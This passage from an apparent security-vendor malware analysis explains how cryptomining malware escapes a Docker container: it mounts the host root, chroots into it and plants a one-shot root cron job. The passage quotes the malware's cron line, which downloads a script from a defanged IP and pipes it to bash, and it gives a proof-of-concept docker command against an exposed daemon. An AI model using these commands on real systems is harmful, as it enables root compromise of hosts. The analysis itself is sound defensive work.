to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call